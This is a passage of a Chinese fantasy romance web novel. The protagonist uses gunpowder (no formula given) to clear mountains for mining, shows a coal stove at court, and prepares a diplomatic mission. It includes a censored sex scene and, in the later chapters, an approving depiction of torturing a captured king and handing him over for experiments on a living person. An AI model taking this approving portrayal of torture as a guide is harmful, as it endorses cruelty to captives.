直到烟尘稍稍散去,两人快步上前查看,只见那原本的石缝已被炸开了一个不小的豁口,周围的石头呈现出焦黑色,还有碎裂的痕迹。 “这……这……”九大夫看着那破坏的痕迹,惊得一时说不出话来。 他行医多年,见过各种伤势,却从未亲眼见过如此瞬间产生的巨大破坏力! 这远比什么开山车、人力凿击要迅猛暴烈得多啊! 阮锦则是兴奋地一拍大腿:“成功了!哈哈,虽然比例可能还需要微调,但这威力……挖矿足够了!迟麟老兄那开山车,怕是连这十分之一的效率都没有!” 九大夫从震惊中缓缓回过神,眼神变得无比灼热,他一把抓住阮锦的胳膊:“阿锦!这……这火药!若是配方精准,用量得当,岂止是用于挖矿!这……这是……” 他敏锐地意识到这东西蕴含的、远超挖矿的潜在力量,无论是用于军事还是其他,都堪称恐怖。 阮锦自然明白他的意思,收敛了笑容,正色道:“九哥也想到了?呵呵,其实我造它出来,当然不仅仅是用于开山凿洞。虽然我在制做之前也犹豫了很久,但……有时候和平是必须要用威慑来维持的。若是人们的头顶没有这把达摩克里斯之剑,谁都可以在乱世分一杯羹,岂不是人人都能拉一个队伍乱起来,人人都能搜刮民脂民膏了?有了它,想必这个世界也会多一重保障吧!” 九大夫明白阮锦的意思,他一直知道阮锦是一个极其善良的人。 赚钱以后,他第一个想到的便是修建孤儿院和养老院,容留那些无家可归的孩子和孤寡老人。 他知道给他的权力越大,他所造福的人类就会越多。 只是没想到,他竟然能想到那么多,而且有一句话他说的是对的:和平是必须要用威慑来维持的。 这是人性的丑恶,也是人类的无奈。 见九大夫以这种表情看着自己,阮锦都有些不好意思了,他拉着九大夫的手边往回走边道:“哎呀现在不是磨蹭的时候,我和迟大人打了赌,看看我们一个月之内谁开的山多。快快快,帮我多造些火药。用竹筒是不行了,咱们拿罐子,大罐子!” 这时,伯府里的下人们都朝这边探头探脑,一个个半捂着耳朵,眼睛里充满了惊恐给你。 管家满是担忧的上前来询问:“伯爷,方才是什么动静?府里该不会是出什么事了吧?” 阮锦朝她摆了摆手,解释道:“没事没事,本伯爷弄了个小玩意儿出来。你们忙你们的吧!” 管家一听阮锦这么说,便放下心来,让下人们都去各自忙了起来。 阮锦则带着九大夫,足足做了上百个火药罐,忙碌了足足三天,才带着这些火药罐,和十几名工人上了山。 迟麟一听说阮锦三天后才上山,而且才带了十几名工人,忍不住便笑出了声,他叹息道:“阮兄的确是个奇才,不过凿山开矿这种事,还得我们这些粗人来啊!” 大司农笑的非常开心,心想终于有一样是可以比阮兄弟强的了。 谁料下一秒,他便听到了隔壁山上传来了一阵阵的:砰!砰!砰砰砰! 迟麟只觉得脚下的山都跟碰上颤抖了,抓住一名衙役问道:“这这这,你快去看看,元大人那边在干什么?是地动了吗?” 衙役赶紧跑了过去,回来后才一脸雾水的说道:“没……没有地动,声音确是从元大人那边发出来的,只是不知道元大人在做什么。” 迟麟莫名,虽然心里好奇的厉害,却也只能加快自己手上的进度,这次他必须得赢过阮锦才行。 难得的被激起了好胜心,迟麟将大司农之下所有僚属分成了两班倒,日夜轮换着开山挖矿。 进度确实可观,几天便将那矿山开凿出了一个大洞,里面全是银矿石,且含量不少。 迟麟这些时日甚至睡在了矿区,眼看着一车一车拉出来的银矿石,他似是看到了充盈的国库,整个人的心情都愉悦了起来。 连晚上睡觉都香甜了不少。 当然,如果不是耳边总是听到轰隆隆的爆破声那就更好了。 很快一个月便到了头,迟麟穿着一身破烂的衣衫下了山,阮锦却是一身清爽。 迟麟乐呵呵的搂着他的肩膀道:“元老弟,怎么样?愿赌服输吧?我可是足足开采了一整座矿山,银矿石尽百车!每日三十几车啊!” 看迟麟得意洋洋的样子,阮锦只是轻轻指了指不远处,迟麟不解,问道:“如何?” 阮锦轻声一笑,说道:“那边那几座山头,都被我平了!” 第133章 迟麟揉了揉自己的眼睛,又揉了揉自己的眼睛,再揉了揉自己的眼睛。 随即爆发出了一阵阵不可思议的尖叫,他用力的晃着阮锦的肩膀,在他耳边不住的嚷嚷:“输了就输了,但你得让我死个明白啊!你是如何做到的啊啊啊啊啊?” 阮锦被迟麟晃得脑瓜子嗡嗡滴,心想迟大人平日里看上去怪稳重的,实际上也是有点暴躁啊! 挺好,年轻人就该有年轻人的朝气。 阮锦一把将他推开,扶到了一旁的石头上坐下,说道:“迟大人稍安勿躁,一会儿我刚好要再去开另一座山,今日便让你死个明白。” 半个小时后,迟麟看着一个一个被搬进山洞的大罐子,听着轰隆轰隆一声声的爆破声,又看到一架一架的投石车,听着砰砰砰砰的投炸药声,终于对阮锦佩服的五体投地。 他朝阮锦行了个大大的礼,说道:“此物……乃传世之本,也为灭世之刃,阮公可千古留名!” 阮锦心想倒也不必如此恭维我,我并不是什么独一无二的发明家,我也只是文化遗产的搬运工罢了。 不过火药这个东西,确实可以成为传世之本。 后期的枪炮等热武器,没有一样是离得开火药的,那可是众生平等的真理! 于是本月上朝,便看到大司农搬了把椅子,恭恭敬敬的请典客大人坐了下来,又卑躬屈膝的去给他捏肩膀。 连渊夜昙都无语了,问道:“二位上卿这是?” 迟麟垂头丧气的把事情的来龙去脉说了一遍,渊夜昙竟然忍不住憋起了笑。 一旁的宗亲却呵呵笑出了声:“二位大人莫不是在跟我们开玩笑,区区一个月,平了十座山头?呵呵,你们当自己是愚公吗?莫不是请了神仙来帮助?” 其实中一名宗亲却清了清嗓子,说道:“可能郑大人最近没有去到郊外走动,我确实看到,郊外那几座山头……平了。” 不光平了,还平白多了许多矿坑,看着确实像是神仙所为,不是人力所能及啊! 阮锦轻笑一声,说道:“大人啊!这世界上你不知道不了解的力量还多的是,不如多多的虚心学习,以免在朝堂上出了丑啊!” “你!”那名宗亲气的脸红脖子粗,却什么都说不出来。 倒是长兴侯,这个时候跑出来做和事佬,笑眯眯道:“二位大人消消气,元大人有如此本事,确实让人刮目相看。不如哪天也让我们开开眼,见识一下这非人力所能及的本事?” 阮锦闲闲看了他一眼,说道:“此物世间罕有,暂时还不能对诸位大人透露。” 长兴侯的内心冷哼一声,心想小人得志的贱民,迟早有一天让你跪下来求我! 阮锦话音一转,又道:“不过,倒是有另一种东西,我想让诸位大人见识一下。” 渊夜昙低沉的声音自头顶传来:“哦?元卿又有什么稀罕东西让我们开开眼?” 阮锦闻言,当即恭恭敬敬的起身,拍了拍手,便有两名小太监抬头一个泥炉走了进来,后面还跟着两名小太监,手上拎着一个竹筐,筐里是一堆黑糊糊的,做成矮胖圆柱形的物体。 文武百官看到此物后都好奇的围了过来,霎时间,议议声响了起来。 “这……是为何物?” “黑漆漆的,没见过啊!” “还有那鼎,看着也是奇形怪状的……” “有古怪,一定有古怪啊!” 渊夜昙的声音又传来:“元卿,这是什么?” 阮锦应道:“回王上,这便是我从前与您说的泥炉,以泥胚烧制而成,里面有炉堂,十分耐高温。” 而后他又指着那一堆黑漆漆的东西道:“这个是蜂窝煤,就是我炸平的那几座山里开采出来的矿物。此矿物名为煤炭,是千万年前的地质活动,将树木埋入土壤之中所成。此物燃烧起来,比木碳温度更高,燃烧的时间也更为持久,成本比木碳更低,开采起来也更方便。若以此物过冬,室内便可温暖如春,再也不用惧怕严寒了。” 一旁的来自大东北的大臣当即来了兴趣,上前问道:“元大人,真的假的?俺那嘎达可冷了,要是有了你这泥炉和煤炭,岂不是不用担心被冻死了?” 阮锦对他点头:“是的余大人,它不光可以取暖,还能用来做饭,用来烧水,用来烘烤衣物。总之,只要你开动自己聪明的大脑,此物便有着十分广泛的应用,大大方便咱们的生活啊!” 一开始质疑阮锦的那名宗亲又跳出来质疑了:“元伯爷说的天花乱坠,真有这么厉害吗?看你这煤还湿的,湿着的东西怎么能燃烧?” 这蜂窝煤是阮锦昨天才让人制成的,确实还有点湿,但不影响燃烧。 阮锦轻笑:“郑大人如果不信,大可以试试啊!我看,不如就由郑大人亲自点燃此炉,给诸位大人们取暖?” 此时已入深秋,早晚确实天凉,有的大人已经穿上了夹袄。 郑大人一听让自己生火,脸上便露出老大的不情愿,但一想若是可以打那贱民元伯的脸,那倒也不妨一试。 他冷哼一声,上前道:“陛下,臣愿亲自试验。若是此炉不行,还望王上治这元耳小儿的罪!” 渊夜昙只是随意的挥了挥手,郑大人便转身去生火了。 只见郑大人围着泥炉转了三圈,又拿出两片干柴,开始在炉前忙活。 片刻后,一股股浓烟从炉子里冒出来,不到一会儿的工夫,整个大殿里便都是呛人的烟。 渊夜昙受不了了,开口道:“郑大人,你到底行不行?生个火都生不起来吗?” 郑大人转过脸,只见他被烟熏的满脸青黑,还急出了一脑门子汗,随手在脸上一抹,更黑了。 这倒是把众臣给逗乐了,阮锦也扑哧一声笑了出来,说道:“郑大人想必是没生过火,要不换个人来?” 郑大人却不服气道:“明明是你的炉子不行,否则我点了这么半天,怎么可能点不燃?王上,请您治这元耳小儿大不敬之罪!他这分明是诓骗王上,这炉子就是个哄小孩子的玩意儿!” 这时,刚才说话的那位东北大人开口道:“哎呀妈呀郑大人啊,你可千万别这么说。你刚刚点了半天,也妹把木头点着啊!要不让俺来试试?俺那嘎达一入秋就点火,不点火那可是活不过冬天的。” 渊夜昙一挥手,示意让东北大人来。 东北大人确实专业,拿了两把柴草,又放了两片木片,不过片刻的时间,炉内便燃起了熊熊的火苗。 蜂窝煤也被点燃了,泛起了火焰的亮红色,随着蜂窝煤的充分燃烧,大堂里片刻便温暖了起来。 阮锦烧制的是可同时放三排蜂窝煤的大炉堂,他又在炉子上放了一壶水,随关水蒸汽的蒸发,大堂里的温暖迅速升高。 不过半小时的时间,那位穿了夹袄的大人便解了扣子,擦了擦汗道:“王上,这玩意儿还真行啊!热死臣了!” 渊夜昙也觉得暖和了很多,他看向阮锦的眼神里又多了几分爱慕,心想孤的阿锦还真是了不起。 孤定要立他为……算了,我到现在还是个外室呢。 这时,阮锦说话了:“王上觉得,此物如何?” 渊夜昙大赞:“好!甚好!” 阮锦又问:“是否能让北越的人民平安过冬?” 渊夜昙不说话了,阮锦却又接着道:“臣愿带着此物出使北越,与北越开通贸易往来。他们需要东西和粮食过冬,我们也需要他们那边的牛羊肉与战马。王上,这样一来,北越必不会再与幽国残部合作。到时候,咱们便可以举挥兵北上,把幽国的残部一举歼灭!” 阮锦说的大义凛然,渊夜昙却仍是一言不发,半天后才说了一句:“先散了吧!孤私下里与你说。” 阮锦:??? 你特么的是藏也不藏了,私下里什么私下里,是生怕百官不知道我们俩勾搭不清吗? 十五分钟后,渊夜昙把天行殿的门一关,搂着阮锦的腰问道:“就不能换个人去吗?” 阮锦怔了怔,当即明白了过来,捧住渊夜昙的脸颊,问道:“担心我啊?” 渊夜昙眉目疏冷,目光沉凝,低低的嗯了一声:“北越不是省油的灯,他们早就对我大渊虎视眈眈。若非我大渊此时国库空虚,我是一定要……” 阮锦捂住了他的嘴,没有回答他的问题,反倒是问了他一个问题:“我听说,大渊出兵,每次御驾亲征,伤亡人数都是最少的?” 渊夜昙不明白阮锦为什么要这么问,但还是乖乖的点了点头,轻轻嗯了一声。 阮锦又道:“听说,全是你一人力挽狂澜放大招,用一个超级傀儡大阵将所有敌军包围在内?” 渊夜昙又点了点头,眼神里还有一点小骄傲。 阮锦啪的给了他一个耳光,渊夜昙下意识捂住自己的脸,问道:“你……打我干什么?” 阮锦冷笑一声,指了指他的心脏上方道:“每次放大招,都要放一管自己的心头血,是不是?” 渊夜昙嘴巴微张,半天后才反应过来,问道:“你……是如何得知的?” 阮锦的眼神更加沉冷了:“我找九哥问过,你每放一次心头血,就会减少相应的寿元,这件事你是知道的吧?” 渊夜昙沉默了,半天没说话。 阮锦的眼神却凌厉了起来,问道:“回答我,是也不是?” 渊夜昙抬头,直视着阮锦的眼睛,应道:“是!……但是我以后不会再这样了。” 第134章 阮锦拍打着他的脸颊,一脸揶揄的嗤笑道:“哦,知道惜命了?” 渊夜昙轻轻摇了摇头:“不……不是,我从前没觉得自己活着有什么意义,为的也只是一个承诺,一个交换的条件罢了。如今我心里有了你,哪怕我现在只是你的一个外室,也想和你长久一些。” 听了他的话,阮锦眉心微蹙,问道:“嗯?什么意思?” 一个交换的条件? 和谁的交换条件? 渊夜昙却没有继续说下去,只是眼神坚定的看着他:“你要相信我,我既然对你有了许诺,便断然不会再随意将自己的性命挥洒出去。” 阮锦睫毛微垂,抬手搂住他的脖子,小声道:“我自是相信你的,不过也希望你能相信我。我出使北越,为的也是你我的长久。能兵不血刃换来长久的安宁,给大渊吞并幽国,休养生息的机会,为什么不让我去试试呢?” 渊夜昙抿着唇,看向阮锦的表情里带上了些许怨气。 这表情看的阮锦忍不住笑出了声,心想渊夜昙这个凶名在外的邪神暴君,原来私下里是个这么可爱的宝宝。 他忍不住在他唇上轻轻亲了一口,还咬了咬他的嘴唇,低声对他说道:“我的小昙也太可爱了,是不是吃可爱多长大的?” 渊夜昙不解,问道:“那是何物?” 阮锦只是低低的笑,手已探入了他的衣襟下摆,摸上了他坚实的腹肌。 渊夜昙知道,自家阿锦其实挺好色的,他也无比庆幸,自己长得还有那么几分姿色。 他搂住阮锦的腰,问道:“如果你以后再遇到一个有胸肌有腹肌,身材高大又英俊的男人,会不会也将他收为外室?” 阮锦要笑不活了,心想这人是在变相的夸自己吗? 不对,他有些无语的看着他道:“小昙,你是渊国的王,为什么对自己如此没有自信?你想想幽崇简,他后宫几百人,什么时候有过危机感?” 渊夜昙却是十分不屑的冷哼了一声:“幽崇简,能算是人吗?” 阮锦心想确实,那就是个畜生。 不过,他忙了这么长时间,确实该把幽崇简那个畜生提出来收拾一番了。 阮锦啄吻着渊夜昙,问道:“王上下盘如何?” 渊夜昙不解,答道:“马步可扎四个时辰,呃……只是扎过的最长时间,再长便没试过了。” 阮锦扑哧一声笑出了声,说道:“好,甚好,那我们玩个游戏?” 从前,他每次哄阿蛮与他同床,可都是和他说要好好玩个游戏这种话的。 渊夜昙歪了歪脑袋,便见阮锦猴儿一般窜到了他的身上,双腿盘住了他的腰,低低在他耳边道:“你抱着我扎马步,我看你能扎久。” 渊夜昙终于明白了,唇角勾了勾,问道:“扎?怎么扎?” 你只要不嫌弃,我可以一直扎你的。 阮锦笑的直不起腰,屁股已经被一双大手托住,衣衫已褪,身体缓缓下沉,口唇渐渐将渊夜昙的食指吞入口中。 如渊夜昙所说,他的下盘,的确稳如磐石。 阮锦低低的在他耳边小声喊:“阿蛮,我好喜欢你,好爱你。” 渊夜昙心中苦涩,他喊的是阿蛮,不是小昙,自己什么时候才能想起来? 为什么会失忆? 为什么把如此重要的东西给忘了? 但还好,还好,还好他的阿锦依然是他的。 感受到自己的手指被他含住,口水涂满了虎口,阿蛮的情绪瞬间被他给调动了起来。 阮锦是个很会享受□□愉悦的人,他用力的吻着渊夜昙的唇,似是要把自己所有的爱都表达出来。 渊夜昙也非常喜欢他的热烈,在他的成长教养里,□□一直是隐晦不可多言的事情。 可那些人表面上似是谦谦君子,背地里却做着猪狗不如的畜生勾当。 反倒是阿锦这样,坦坦荡荡面对自己的欲望,把自己的一腔欢喜全都发泄在喜欢的人身上更加难能可贵。 只是这家伙又菜又爱玩,只玩了不到半个时辰,便累的在他怀里睡着了。 渊夜昙勾着唇沉思,下次扎马步要缩短一下时间了。 第二日,阮锦便从水牢里提出了幽崇简。 在水里泡了主行久,幽崇简已经泡得不成人样了,两条腿上爬满了蛆虫,臭轰轻的一股子旱厕味。 阮锦十分嫌弃的捂着自己的鼻子,问道:“哎呀呀,你们这些人怎么做事的?怎么能把幽王给折磨成这样?” 幽崇简抬头看了一眼阮锦,看上去竟然还有不少的活气。 手下汇报道:“伯爷放心,他活的好好的,就是不好受罢了。王上吩咐了,在处刑前,绝不能让他死了。” 阮锦嗯了一声,说道:“那便好那便好!只是幽王在水里泡了那么久,皮肤都溃烂成这样了,肯定于健康不利。我看这样吧!便将他……脱光了衣服挂到城门上,先晒上三天三夜!哦,别晒死了,记得及时给他喂水喂饭啊什么的。” 负责看守的一听,脸上当即露出了当奋的神色,应道:“是,伯爷。” 幽崇简却沙哑着嗓音,满脸愤怒的骂了起来:“渊国小儿!士可杀不可辱!你如此辱我,可有半点君王之度乎?” 阮锦抠了抠耳朵,问道:“君王之度?那我问你,你奸杀那些男男女女的时候,可曾考虑过你的君王之度?” 幽崇简无言以对,只说了一句:“成王败寇,有朝一日,渊夜昙迟早也会成为阶下囚!” 阮锦轻笑:“怕是你这辈子是看不到了。就算是阶下囚,他也只能是我一个人的阶下囚!” 想到昨夜他跪在床前为自己咬,阮锦整个人都是春风荡漾。 守卫们不顾幽崇简的抗议,把幽崇简扒光了吊到了城门上,秋日的太阳并不算太毒辣,但阮锦也并不想让幽崇简晒死。 他只是想让他丢这个人,对于一名帝王来说,这种羞耻可以打压掉他所有的傲骨。 幽崇简临上城门的时候提出:“可否把我的脸遮住?” 阮锦微微一笑:“要不你问问因你而死的那些人同不同意?” 幽崇简破口大骂:“渊国小儿!你会遭报应的!” 然而把人架到城门上后,他却一言不发了,整个人仿佛被抽掉了灵魂一般。 阮锦轻笑:“如果你不想受辱,大可以咬舌自尽。熬了那么多天,不就是怕死吗?是不是觉得好死不如赖活着?但是你放心,你会后悔的。” 说完阮锦转身离开,去找九大夫了。 九大夫又在研究他的青霉素,自从阮锦给他做出了高倍数放大镜,他便开始每天记录研究各种菌类。 还会把放大后的菌类画下来,还把发霉的菌丝放到发炎的腐肉上做实验,发现果然可以抑制炎症。 更可怕的是,阮锦进来的时候,发现九大夫的房间里正放着一具开膛破的的尸体。 阮锦吓的嗷呜一嗓子,扒着门问道:“九哥,你你你你你想干什么?” 九大夫被他吓了一跳,转头道:“你怎么来了?你不是和王上耳鬓厮磨如胶似漆吗?” 阮锦无语,说道:“你哪儿来那么多形容词?我倒是听说,蒙铎大将军给你送了很多礼物过来,怎么,不考虑考虑吗?” 九大夫只是淡淡的嗯了一声:“体格子不错,性格看着也还行,虽然傻了些。过几日我发情期便要到了,打算把他叫过来。” 阮锦缓缓打出一个问号:“你你你这么直接的吗?不是应该三书六聘择吉说媒看日子订婚再结婚吗?” 九大夫皱了皱眉,仿佛看待傻子一般的看着他问道:“你怎么不这样?” 阮锦干笑两声:“也是啊!我们新新人类不在意这些,爽就完了。” 只是阮锦着实没想到,九大夫会这么直接,但也挺好,他已经二十三岁了,虽然在他那个时代,二十三岁才刚刚大学毕业,还是个小年轻,在很多家庭里还在啃老。 但在这个时代,二十三岁可是实打实的大龄哥儿。 九大夫正在绘制一幅人体器官图,解释道:“这个是刚刚被斩首的死囚,我把脑袋给他缝上去了。我觉得你那个时代的医生做的对,要了解人体是否有病变,确实要剖开肚腹看看。这是我第一次如此直观的看到人体的各个器官,也终于知道它们都长什么样了。” 说着,他又在他的人体器官图上画了一笔。 阮锦受不了这血腥味儿,退出去道:“我今天就是过来给你送好东西的,有个活体的,你收不收?” 九大夫摆了摆手:“你说过,活体实验丧失人性,不顾人伦纲常,哪怕是死囚也不行。” 阮锦道:“不是死囚,是个猪狗不如的畜生,是那个人神共愤的幽王。” 九大夫当即来了兴致,说道:“真的假的?幽王你都能弄来?” 阮锦道:“你就问你要不要吧!” 九大夫点头:“那必须得要!” 当初他在嫁往幽国的路上,沿途听过很多关于他的故事,比如他钟爱童男童女,尤其是不超过十岁的,尤其喜欢。 听说这些后,九大夫便头也不回,转身逃了婚。 他觉得人但凡被称之为人,多少是有些人性在身上的,对几岁的娃娃下手,只能说幽崇简连人都不是了。 而且他长相并不柔美,高个儿英气,也定讨不到那幽王的欢心。 他更不喜欢对人伏低作小,还不如逃了。 三日后,幽崇简被从城门上放了下来,捆住双手吊在了秋菊丛中,丁丁上涂满了蜂蜜,引来密封争相叮咬。 待到“死了”的幽崇简被带到九大夫身边时,他看着那斗大的器物陷入了沉思。 第135章 九大夫问道:“死……了吗?” 阮锦轻笑,答:“没死透,能不能救活他,看你的医术。他在水牢里泡了两个多月,又在城门上晒了三天,刚刚又被蜜蜂蜇了某处两个时辰,现在已经昏死过去了。如果九大夫妙手回春,想必医坛将会添一名泰斗。” 九大夫给幽崇简把了把脉,冷哼一声道:“这人死不足惜,不过能拿来给我试药,也算他为自己以前的所做所为赎罪了。” 说着他拿出银针,刺入了他的四肢,让他就算恢复了,短时间内也无法行动。 阮锦又道:“我给他精心准备了一个囚笼,虽然这家伙被锁了手脚,但你还是要小心。万一跑了,还得费心去抓。过两天我让小昙给你装一个定位傀儡,到时候不论他跑到哪里都能给他抓回来。” “小昙?”九大夫的眼中露出疑惑。 阮锦答:“渊夜昙。” 九大夫:…… 他一脸无语的看向阮锦,心想恐怕这个世界上唯一一个敢直呼渊夜昙名字的人也只有阮锦了吧? 阮锦又叮嘱道:“我教你的火药制造方法,万万不可以透露给任何人。如果我有任何意外,你就是我的储备军,随时帮渊夜昙制做火药。” 九大夫的眉心终于皱了起来,他问道:“你怎么回事?怎么搞的像交待遗言一样?” 阮锦轻笑:“哪是什么交待遗言,我要去出使北越了,这一趟不知道要去多久。可能……短则两月,长则半年,得看北越那边的意向。我觉得应该会顺利,毕竟取暖可是他们最需要的。” 北越冬天气温低达零下三十多度,如果有煤碳和泥炉供他们取暖,真的可以让他们顺利的度过冬天。 九大夫却还是十分担心,他握住阮锦的手,问道:“你此行万万要小心,不行,我还是和你一起去吧!” 阮锦啧了一声:“你和我去有什么用?你又不会武功。小昙他自有安排,把小放给我召回来了。” 九大夫的脸上露出了惊喜:“小放?阮子放?这臭小子,三年不见,不知道他现在怎么样了。” 阮锦轻笑:“已经被封为三品平西将军了,他这次攻打幽国功不可没,蒙玉大将军也对他赞不绝口。此时幽国多数已经投降,他这个平西将军也该回渊都了。不过他一回来小昙就给他安排了别的活儿,就是护送我去出使北越。” 九大夫倒是稍稍放了下心,他问叮嘱道:“麻沸针还是要带着的,我又给你制了一百枚,你记得随时带在身上。” 阮锦点头:“你安心吧!我觉得小昙一定会悄悄跑去找我,凭我对他的了解,他是断然不会一个人待在王宫里的。” 最多一个月,渊夜昙就得用傀儡代替自己上朝。 九大夫轻笑:“你现在一口一个小昙,你们两个和好了?” 阮锦的表情里带了几分甜蜜,却又摇了摇头:“他还是没有恢复记忆,我也不知道是什么原因。可能……需要一个契机吧!” 九大夫拍了拍他的肩膀:“别急别急,慢慢来。我觉得,就算他没有恢复记忆,只要你们两个的感情好好的,其实也没什么,不是吗?” 阮锦其实也这么想,可他还是非常希望阿蛮的记忆可以回来。 但如果实在回不来了,虽有遗憾,却也不再是他心中的一根刺。 九大夫说的对,只要他们两个的感情好好的,比什么都强。 三日后,阮锦奉王命出使北越,平西将军阮子放奉王命于原幽都方向等侯。 一听说阮锦当上了典客且要去出使北越,并让自己随行护送的阮子放高兴的两眼睛放光。 四年过去,阮子放也十五岁了,但他长得英武异常,十五岁就足有一米八多的身高,身上的肌肉也是块垒分明。 尤其是他的傀儡术,在一次与幽军的对战中,他以一人之力,拿下了四名七阶傀儡师,还有一名八阶傀儡师大将。 都说习武靠勤修,傀儡术却是要靠天赋的。 阮子放的天赋自那一战后声名鹊起,渐有渊王夜昙后第一人的说法。 这个说法也不知道是谁传出去的,蒙玉找到阮子放跟他说千万要小心,传这话的人肯定没安好心,说不定是在挑唆他与王上之间的嫌隙。 阮子放却并不担心,他当时只是挥了挥手,笑说:“王上才不是这么小心眼的人。” 他做了王上半年的徒弟,他尽心尽力的教自己,也尽心尽力的爱师爹,外人都说他冷血,但他们小五义都知道,王上他是个有情有义的人。 果然,如阮子放所料,没过多久,他便被封为平西大将军。 这次应当也是体恤他与师爹许久不见,才派他跟着去出使北越的。 而且北越凶险,放眼整个渊国,也就只有他能保护师爹了。 这倒也不是阮子放自负,根据推测,他的傀儡术等级已经达到了八阶上,有没有突破九阶,还得渊夜昙亲自测试,毕竟这世上还没有九阶的傀儡师呢。 在原幽都城门前等了足足四天,阮子放终于等来了阮锦的车架,一看到旗帜上飘着的元字,阮子放高兴的策马朝那边奔了过去。 一边狂奔一边冲着那边喊:“师爹!师爹!师爹你来啦!” 阮锦满头黑线,恨不得上前去捂他的嘴,可是已经来不及了,现在人人都知道阮锦有一个叫他师爹的夫徒。 十五岁的阮子放人高马大,却还是被阮锦揪着耳朵拎进马车里教训:“你个臭小子!和你说过多少遍了,不许再叫我师爹,不许再叫我师爹,你怎么就是不听?” 阮子放坐在马车上,整个人臊眉耷眼的,乖乖的点头,却一句都没听到心里:“师爹,你这两年好吗?包包呢?怎么没带上包包呀?” 阮锦一脸的无语:“放啊!你都当上平西将军了,为什么还是这个性子?也对,毕竟你才十五岁,还是个小孩子。” 阮子放抗议:“我才不是小孩子!我都十五岁了!十五岁在桃花县,都可以讨老婆成家了!” 阮锦笑的一脸揶揄:“哟,我们小放放想讨老婆了?有没有看上的老婆啊?” 阮子放的脸刷拉一下就红了,他摆手道:“没有没有,师爹你不要取笑我好吗?我只想好好的把傀儡术练好。再说了,我要跟着师父一统天下,天下不统一,我绝对不娶妻!” “好志气!”阮锦啪的一声打在了阮子放的肩膀上,把阮子放给吓了一大跳。 阮锦继续说道:“可是放啊!你师父他都讨老婆了,你倒也没必要一直单着。要是有看上的好姑娘,完全可以试试,记住了吗?” “哦。”阮子放傻里傻气的应了一声,又一脸高兴道:“师爹,你见到师父了吗?你们是不是和好了?” 阮锦答道:“算是吧!反正……就那样呗!” 再次见面,突然有了一种老夫老妻的感觉,他想,他和渊夜昙恐怕是命中注定了。 这一路有了阮子放,阮锦算是不孤单了,他一直叽叽喳喳的吵个没完没了,把四儿都吵去了另一辆马车上。 晚上阮锦的队伍便休整在了幽都旧址,大将军蒙玉热情的接待了他们。 蒙玉准备了好酒好菜,之前就收到了大哥蒙铎的来信,知道这位可是王上的人,绝对不能怠慢,便尽到了他身为地主的最高规格的餐仪。 只是蒙玉这个人的性格有些冷,也有些死板,晚上也不知道给阮锦多准备两床棉被,毕竟幽都处于北地,相较于渊都还是冷不少的。 还是四儿跑去找了他,问他有没有多余的棉被。 蒙玉冷着一张脸问他:“你要棉被做甚?” 四儿看到他拉着的那张驴脸便有些生气,没好气的说道:“你说我要棉被做甚?我要棉被红烧清蒸加油炸!你家棉被除了盖之外是还能吃怎的?” 蒙玉的脸刷一下就红了,摆着手道:“本将军……不是这个意思!” “本将军?还跟我摆上大将军的架子啦?我又不是你的兵!我家典客大人千里迢迢去出使北越,那可是会掉脑袋的!来到你这军营,找你拿两床棉被都不肯?” 蒙玉有口说不出,他这辈子可没跟如此泼辣的人打过交道,半天后才憋出一句:“稍等,我这就去给你拿!” 等他取来了棉被,四儿才反应过来,这人是不是天生就是这种性子? 他接过棉被,一脸狐疑的打量着蒙玉,问道:“小将军,你叫什么名字?你家蒙玉将军呢?” 蒙玉冷着一张脸:“我就是蒙玉。” 四儿一怔,把脸蒙在了被子里,灰溜溜的跑了。 心想事情大条了,谁能想到大名鼎鼎的蒙玉将军,竟然是个小年轻,还是个俊俏的小白脸。 回到营账后,四儿见阮锦正在生炉子,赶紧放下被子道:“少爷,你别忙活了,我来。” 阮锦摆手道:“不用,马上着了,我看这军营也是够冷的。你待会儿给蒙将军蒙账里送个炉子,再留些蜂窝煤。明日我再给迟大人去个信,让他们优先给营中配备煤碳,也能让他们过一个暖和的冬天了。” 说完他起身,转身看向四儿,一脸惊讶道:“我嘞个四儿,你你你你脸怎么这么红?” 而此时的皇宫,渊夜昙拿出了储存已久的心头血,将自己精心制造的几个傀儡从库房里拿了出来。 阮锦还真是看得起他了,他别说是一个月,连一周都忍不了,这就想跑去找阮锦。 这时,端阳公主牵着包包的手走了进来:“哟,要跑?” 第136章 哗啦一声,傀儡的残臂洒了一地,这是端阳公主第一次见自家阿弟如此紧张。 豆沙包则好奇的跑了过去,一个一个把那些残肢捡了起来,问道:“阿爹,这是你的傀儡替身吗?” 渊夜昙好奇的问:“嗯?包包还知道傀儡替身?” 豆沙包嗯嗯两声:“知道呀!傀儡替身,需用心头血滋养。阿爹,你不要取心头血,影响寿元的,需要很久很久才能养回来。” 渊夜昙轻轻一笑,心想阿锦真的把包包养的很好,他竟然懂那么多。 豆沙包又道:“其实有一个方法也可以代替心头血,阿爹试没试过牵丝符?虽然牵丝符不如心头血感应强烈一些,但只需要取一点指尖血,就能于千里之外操控替身傀儡。包包试过了,效果很好的!” 渊夜昙满眼的惊讶,上前抱住豆沙包道:“包包,你连牵丝符都会?” 豆沙包一脸的骄傲:“当然会啦!爹爹可是把全世界上所有的傀儡书籍都找来,让四儿叔叔读给我听呢!不过现在包包识字了,可以自己读了。” 豆沙包一岁多就开始听阮锦讲睡前故事,不到两岁就能十分流利的对话,还能做简单的傀儡操控。 如今虽然傀儡控制等级并不高,懂得的知识却有很多。 豆沙包又道:“包包现在只能操控同一郡城内的牵丝傀儡,阿爹那么厉害,一定可以超远距离操控傀儡!” 渊夜昙把豆沙包抱起来转了两圈,叭唧在他脸颊上亲了一口,说道:“真是阿爹的好儿子!阿爹明白了!” 一旁的端阳公主看的很是欣慰,心想大渊真的后继有人了,我们豆沙包会是一个绝顶聪明的好帝王。 她忍不住想催促阿弟快点立后,快点封我们最可爱的小包包为太子,这样她就不用再操心了。 渊夜昙在一旁绘制牵丝符,端阳公主开口道:“其实你不用这么操心,反正除了打仗的事,朝内朝外都是我在管。阿弟,你现在的主要任务就是快点把元伯爷追到手,让他同意做你的皇后。这样,我们大渊便有太子了。” 当然,如果能再生两个小王爷就更好了。 不过也不强求,咱们包包就很值得。 渊夜昙一边画符一边在心里吐槽:我倒是也想啊!可我现在还特么的只是个外室! 嘴里却也只是淡淡的嗯了一声,心想知道了知道了,已经在追了。 他准备了足足一上午,才终于把牵丝符绘制好,用了一滴指尖血,果然效果超群。 豆沙包全程托着腮在一旁看着,见自家阿爹要走了,便叹息道:“唉,阿爹和爹爹都走了,我就只能和姑姑在一起了吗?” 渊夜昙以双上前亲了亲自家包包,小声道:“包包乖,等阿爹和爹爹回来,一定带你出去玩一段时间,好好陪陪你,可以吗?” 